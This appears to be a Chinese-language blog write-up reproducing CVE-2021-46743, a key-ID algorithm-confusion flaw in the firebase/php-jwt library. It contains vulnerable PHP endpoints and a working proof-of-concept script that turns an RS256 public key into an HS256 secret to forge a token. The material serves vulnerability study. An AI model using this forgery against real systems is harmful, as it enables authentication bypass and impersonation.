firebase/php-jwt库的引入加密混淆问题CVE-2021-46743

前言：今天偶然看到的关于php-jwt库的重新引入加密混淆问题CVE-2021-46743，这里简单的记录下

参考文章：https://github.com/firebase/php-jwt/issues/351
参考文章：https://github.com/firebase/php-jwt/pull/365

什么是jwt

参考文章：http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.htm

php-jwt库的重新引入加密混淆问题

这里通过https://github.com/firebase/php-jwt/issues/351可以了解相关详情

这里搭建的php-jwt版本为5.4.0，经过测试影响的版本应该在6.0之前都存在影响

问题出在文件JWT.php的decode方法中，如下所示

主要的问题就是对于jwt中的kid字段进行了重新校验，而在jwt中我们的kid字段是可控的，这就导致了重新引入了加密混淆的问题

kid字段的作用是一个可选的报头，如权利要求其保持的密钥标识符，当有多个键来签署该令牌是特别有用的并且需要查找正确的验证签名，简单的说就是如果服务端存在多个加密算法验证的类型，那么我们可以通过kid来进行指定对应的验证方法

下面写法会导致问题出现，首先还需要知道hs256和rs256所对应的主键值以及rs256对应的公钥

<?php
$decoded = JWT::decode(
    $attackerControlledString,
    [
        'galdalf0' => '256-bit key goes here',
        'legolas1' => 'RSA public key goes here' 
    ],
    ['RS256', 'HS256']
);

漏洞复现

HS256的jwt请求接口

if (isset($_GET['token'])) {
    try {
        $decoded = JWT::decode(
            $_GET['token'],
            KeyManagement::auto()->getJwtVerifyingKeyIdMap(),
            ['HS256']
        );
    } catch (Throwable $ex) {
        echo json_encode([
            'status' => 'FAIL',
            'token' => $_GET['token'],
            'ex' => $ex->getMessage(),
            'trace' => $ex->getTrace(),
        ]);
        exit;
    }
    if (!empty($decoded)) {
        echo json_encode([
            'status' => isset($decoded->pwned)
                ? 'Exploit Successful!'
                : 'Decoded Successful',
            'pieces' => $decoded
        ]);
        exit;
    }
}

echo json_encode(
    [
        'token' => JWT::encode(
            [
                'sub' => 'firebase-php-jwt-proof-of-concept.pie-hosted.com',
                'third-party' => 'foo-bar'
            ],
            KeyManagement::auto()->getJwtSigningKeyForAlg('HS256'),
            'HS256',
            'gandalf0'
        )
    ],
    JSON_PRETTY_PRINT
);

rs256的请求接口

if (isset($_GET['token'])) {
    try {
        $decoded = JWT::decode(
            $_GET['token'],
            KeyManagement::auto()->getJwtVerifyingKeyIdMap(),
            ['RS256']
        );
    } catch (Throwable $ex) {
        echo json_encode([
            'status' => 'FAIL',
            'token' => $_GET['token'],
            'ex' => $ex->getMessage(),
            'trace' => $ex->getTrace(),
        ]);
        exit;
    }
    if (!empty($decoded)) {
        echo json_encode([
            'status' => 'OK',
            'pieces' => $decoded
        ]);
        exit;
    }
}

echo json_encode(
    [
        'token' => JWT::encode(
            [
                'sub' => 'firebase-php-jwt-proof-of-concept.pie-hosted.com',
                'user-id' => 'admin001'
            ],
            KeyManagement::auto()->getJwtSigningKeyForAlg('RS256'),
            'RS256',
            'legolas1'
        ),
        'public-key' => KeyManagement::auto()->getJwtVerifyingKeyIdMap()['legolas1']
    ],
JSON_PRETTY_PRINT
);

通过请求rs256.php的时候会返回一个token以及对应的rs256公钥，并且这里指定的是$key为legolas1，如下图所示

接着拿着这个rsa的公钥进行请求hs256接口进行jwt伪造，这里需要指定kid为legolas1

$step2 = JWT::encode(
    [
        'pwned' => 'very yes',
        'firebase' => 'pH too high'
    ],
    $pk,
    'HS256',
    'legolas1' // wrong key id!!!
);

发送验证可以看到，已经成功进行签名验证了

poc参考地址：https://github.com/firebase/php-jwt/files/6966712/php-jwt-poc.zip

// Step 1: Fetch a token and public key
$step1 = fetch_json($baseurl . '/rs256.php', []);
if (empty($step1['token']) || empty($step1['public-key'])) {
    throw new Exception('Invalid response. Is the demo server online?');
}
$token = $step1['token'];
$pk = $step1['public-key'];

// You can replay this token against itself:
// $test = fetch_json($baseurl . '/rs256.php', ['token' => $token]);

// Step 2: Forge a token using the public key, but wrong key ID
$step2 = JWT::encode(
    [
        'pwned' => 'very yes',
        'firebase' => 'pH too high'
    ],
    $pk,
    'HS256',
    'legolas1' // wrong key id!!!
);

var_dump($step2);

// Step 3: Pwn;
$step3 = fetch_json($baseurl . '/hs256.php', ['token' => $step2]);
var_dump($step3);